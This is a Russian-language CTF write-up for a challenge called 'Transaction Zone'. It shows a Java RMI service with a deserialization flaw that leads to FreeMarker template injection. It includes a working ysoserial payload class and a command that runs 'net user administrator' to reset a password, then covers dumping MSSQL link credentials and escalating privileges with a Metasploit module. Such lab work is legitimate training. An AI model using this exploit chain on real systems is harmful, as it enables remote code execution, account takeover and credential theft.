Try   HackMD

Transaction Zone

Описание

У нас мало времени. В банке начали что-то подозревать, поэтому, как получишь доступ к какой-то машине, присылай нам ip-адрес. Наша команда OSINT нашла исходный код от какого-то продукта банка, может быть тебе пригодится. Исходный код расположен по ссылке.

Содержимое файла TransactionPool.java

package ru.bank.currency;

import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import java.io.*;


import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;


public class TransactionPool implements Serializable {
    private static final long serialVersionUID = 0L;
    protected static final Logger LOGGER = LoggerFactory.getLogger(TransactionPool.class);
    private ArrayList<Transaction> transactions;

    public TransactionPool() {
        this.transactions = new ArrayList<Transaction>();
    }

    public TransactionPool(ArrayList<Transaction> transactions) {
        this.transactions = transactions;
    }

    public TransactionPool(Transaction transactions) {
        this.transactions = new ArrayList<Transaction>();
        this.transactions.add(transactions);
    }
    private class Transaction implements Serializable {


        public Transaction() {

        }

        public int receiverid;
        public int senderid;
        public double amount;
        private String comment;



        @Override
        public String toString() {
            String templateStr = "Transaction: " +
                "receiver: ${trans.receiverid!} " +
                "amount: ${trans.amount!} " +
                "sender: ${trans.senderid!} " +
                "amount: ${trans.amount!} " +
                "comment: " + this.comment;
            Map<String, Object> data = new HashMap<String, Object>();
            data.put("trans", this);
            Template template;
            try {
                template = new Template("Transaction", new StringReader(templateStr),
                    new Configuration());
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            StringWriter result = new StringWriter();
            try {
                template.process(data, result);
            } catch (TemplateException e) {
                throw new RuntimeException(e);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            return result.toString();
        }
    }


    private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException {
        ois.defaultReadObject();
        LOGGER.info(this.transactions.toString()); // Logger req
    }

}

Содержимое файла TransactionPoolInterface.java

public interface TransactionPoolInterface extends Remote {
    String addTransactionPool(Object transactionPool) throws RemoteException;
}

Краткое описание уязвимостей

На одном из серверов доступен RMI-сервис с уязвимостью десериализации класса, в методе toString() которого используется freemarker для шаблона строки. Он подвержен атаке SSTI. Далее после получения RCE необходимо повысить привелегии через Link на другом сервере.

Решение

Исследование сервера

Полученные файлы являются частью RMI-сервера. Один из файлов показывает сигнатуру метода addTransactionPool, что позволяет его использовать.
С использованием Remote Method Guesser можно подтвердить наличие интерфейса из файла.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Уязвимость можно обнаружить в исходном коде класса Transaction, а именно SSTI в методе toString() с использованием поля comment. Метод readObject() вызывается при каждой десериализации объекта. В этом методе реализовано логгирование объектов, формат которых и обозначен в toString() класса Transaction.

Подготовка эксплоита и исполнение

Чтобы использовать уязвимость можно написать собственный модуль для ysoserial, который будет создавать необходимый объект для эксплуатации.

package ysoserial.payloads;

import ru.bank.currency.TransactionPool;

import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.util.ArrayList;

@SuppressWarnings({"rawtypes", "unchecked"})

public class TestCase extends PayloadRunner implements ObjectPayload<Object>, Serializable {

    public Object getObject(final String command) throws Exception {
        TransactionPool badtrans = new TransactionPool();
        Class<?> c = TransactionPool.class.getDeclaredClasses()[0];
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        final Object badtran = constructor.newInstance(badtrans);
        Reflections.setFieldValue(badtran, "comment", "${\"freemarker.template.utility.Execute\"?new()(\""+ command +"\")}");
        ArrayList<Object> payload = new ArrayList<Object>();
        payload.add(badtran);
        Reflections.setFieldValue(badtrans, "transactions", payload);
        return badtrans;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(TestCase.class, args);
    }
}

Необходимо скомпилировать JAR-файл для работы с RMG, после чего запустить эксплоит следующей командой:

java -jar rmg.jar serial <host> 1099 TestCase 'net user administrator 1qaz@WSX' --signature 'String addTransactionPool(Object paramObject)' --bound-name TransactionPool --yso <jar-location>

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Пароль учетной записи Administrator будет изменен, что позволит подключиться к хосту по RDP.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Выясняем, что на сервере есть СУБД MSSQL и настроен Link на соседний сервер. Скачаем Get-MSSQLLinkPasswords.psm1 и получим пароль учетной записи, от которой работает Link в открытом виде.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Данная учетная запись не имеет прав SysDBA на удаленном сервере MSSQL, однако стоит проверить варианты повышения привилегий.
С помощью модуля admin/mssql/mssql_escalate_dbowner в MSF можем проверить наличие привилегий db_owner и повысить привилегии в системе.
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Отлично, теперь можем проверить свои привилегии в системе. При желании можно получить reverse shell и сделать privesc, как это было в офисе SPB.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Но на самом деле, можно просто прочитать флаг в описании пользователя flag.
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →